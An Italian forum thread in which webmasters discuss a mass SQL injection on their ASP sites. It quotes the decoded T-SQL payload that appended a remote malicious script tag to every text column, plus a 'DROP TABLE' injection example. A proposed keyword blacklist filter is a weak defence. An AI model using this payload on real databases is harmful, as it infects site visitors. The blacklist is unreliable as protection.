- Home
- Categorie
- Gaming, Hardware e Software
- Sicurezza Informatica & Privacy
- Attacco Hacker Su Server
-
non conosco tutti i tuoi siti, ma l'attacco di solito si porta passando codice malevolo alle variabili in GET (POST o COOKIE).
Se vuoi usare un metodo generico per difenderti, usa una funzione per tutti i siti e scrivila in maniera tale che copra un pò tutti i casi descritti prima senza limitare le funzionalità dei siti.Io userei una funzione del genere:
'Function IllegalChars to guard against SQL injection Function IllegalChars(sInput) 'Declare variables Dim sBadChars, iCounter 'Set IllegalChars to False IllegalChars=False 'Create an array of illegal characters and words sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", _ "#", "%", "&", "'", "(", ")", "/", "\", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|", "@", " ") 'Loop through array sBadChars using our counter & UBound function For iCounter = 0 to uBound(sBadChars) 'Use Function Instr to check presence of illegal character in our variable If Instr(sInput,sBadChars(iCounter))>0 Then IllegalChars=True End If Next End function ```poi la chiami su tutte le variabili che provengono dalla request:
'Call the function IllegalChars to check for illegal characters
If IllegalChars(sMarca)=True Then
Response.redirect("no_access.asp")
End If
-
Ottmo e scusami se ti sembra che abbia collaborato poco adatterò la tua funzione a sencoda dei miei casi
grazie mille
-
per curiosità, il tipo di attacco che hai subito ti ha lasciato questo nel db:
<script src=http://www.killwow1.cn/g.js></script>
Se ho capito bene dovrebbe essere qualche sorta di JS maligno quindi vi invito a non scaricarlo ecc.
-
mmh, si sono fatti un bel giretto sti tizi, risultano: Risultati 1 - 10 su circa 654.000 o
-
A me è un altro script semre del tipo.
<script src=http://www......js></script>è un casino su quasi tutti i siti.
Sto tentando diverse soluzioni ma niente.Se lo scriot che ha messo tonyx è maligno
CANCELLATELO SUBITO DAL FORUM!!!Scusate il maiusculetto.
-
E' un codice che si è sparso un bel pò sul web, molto probabilmente con qualche sorta di tool automatizzato.
Decodificando il codice unicode si ottengono queste istruzioni T-sql:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.killwow1.cn/g.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Non ho ben capito, ma sembrerebbe che questo codice vada a vedere nella tabella sysobjects quante tabelle ci sono nel db e quanti campi (testuali presumo) e poi gli aggiunge sto codice <script src=http://www.killwow1.cn/g.js></script> ad ogniuno di questo campo, sperando forse che quando i dati vadano in output sul web in automatico venga eseguito questo codice malevole sul pc client.
Ho provato anche a scaricarlo per studiarlo ma sembrerebbe che il dominio è down.
-
@nandonando2 said:
A me è un altro script semre del tipo.
<script src=http://www......js></script>è un casino su quasi tutti i siti.
Sto tentando diverse soluzioni ma niente.Se lo scriot che ha messo tonyx è maligno
CANCELLATELO SUBITO DAL FORUM!!!Scusate il maiusculetto.
Nando io ho messo solo un url, non viene eseguito automaticamente e poi ho anche avvertito di non scaricarlo (cmq io ci ho provato per sturiarlo ed il sito è down) quindi non c'è rischio.
-
Scusa ma c'è qualche soluzione?
Ho levato tutto o quasi inerente al sql iniection, ora cambio i permessi dell'utente del db e li metto in sola lettura ma vorrei capire quale è la vulnerabilità, ne sai qualcosa di più?
Quale protezione consigli?
-
Per capire bene il problema dovresti avere una conoscenza quantomeno media del linguaggio SQL. Ti faccio un esempio di una query e un esempio di injection. Prendiamo il classico caso si un Db di una libreria.
Una semplice query SQL che seleziona una riga dal database può essere la seguente:
SELECT * FROM TabLibri WHERE IdLibro = 3
Ora che succede, molte volte per rendere dinamico un sito si associa una variabile che a seconda del valore passatogli tira fuori il libro richiesto dalla tabella TabLibri, in asp verrebbe una cosa tipo questa:
query = "SELECT * FROM TabLibri WHERE IdLibro =" & request("idlibro")
Questa riga di codice è vulnerabile all'SQL Injection, perchè finquando mi limito a passargli un valore numerico tipo: 3 (come nell'esempio sopra) tutto funziona, ma che succese se ad esempio io gli passassi questo valore:
*3; DROP TABLE tabLibri
*Semplicemente oltre al valore 3 che gli passo per non far andare in errore aggiungo ";" che non fa altro che informare SQL Server dicendogli che la prima istruzione è finita ora segue la secona, la seconda istruzione è maligna, anzi distruttiva, praticamente ti cancella la tabella "tabLibri".Capito questo esempio?
Ora in questo e sottolineo questo esempio per evitare una cosa del genere bisognerebbe eseguire un controllo dell'input e verificare che esso sia esclusivamente numerico.
Come diceva saro78 non esiste 1 solo carattere da tener sotto controllo, sono una serie di caratteri, io penso che il miglior modo per prevenire l'sql injection è sempre tentare di capire come potrebbero essere inserite istruzioni sql ed evitarle.
Ti consiglio prima di tutto di imparare meglio l'SQL e di leggerti i numerosi documenti che si trovano in internet riguardante l'SQL Injection.
Saluti
-
Diciamo che avevo evitato il problema ma ho fatto un errore in pratica non ho considerato il passaggio di più valori ossia doppie variabili
es miapagin.asp?val1=10&val2=ddnon ho esaminato i casi tipo val2
cerco di provvedereGrazie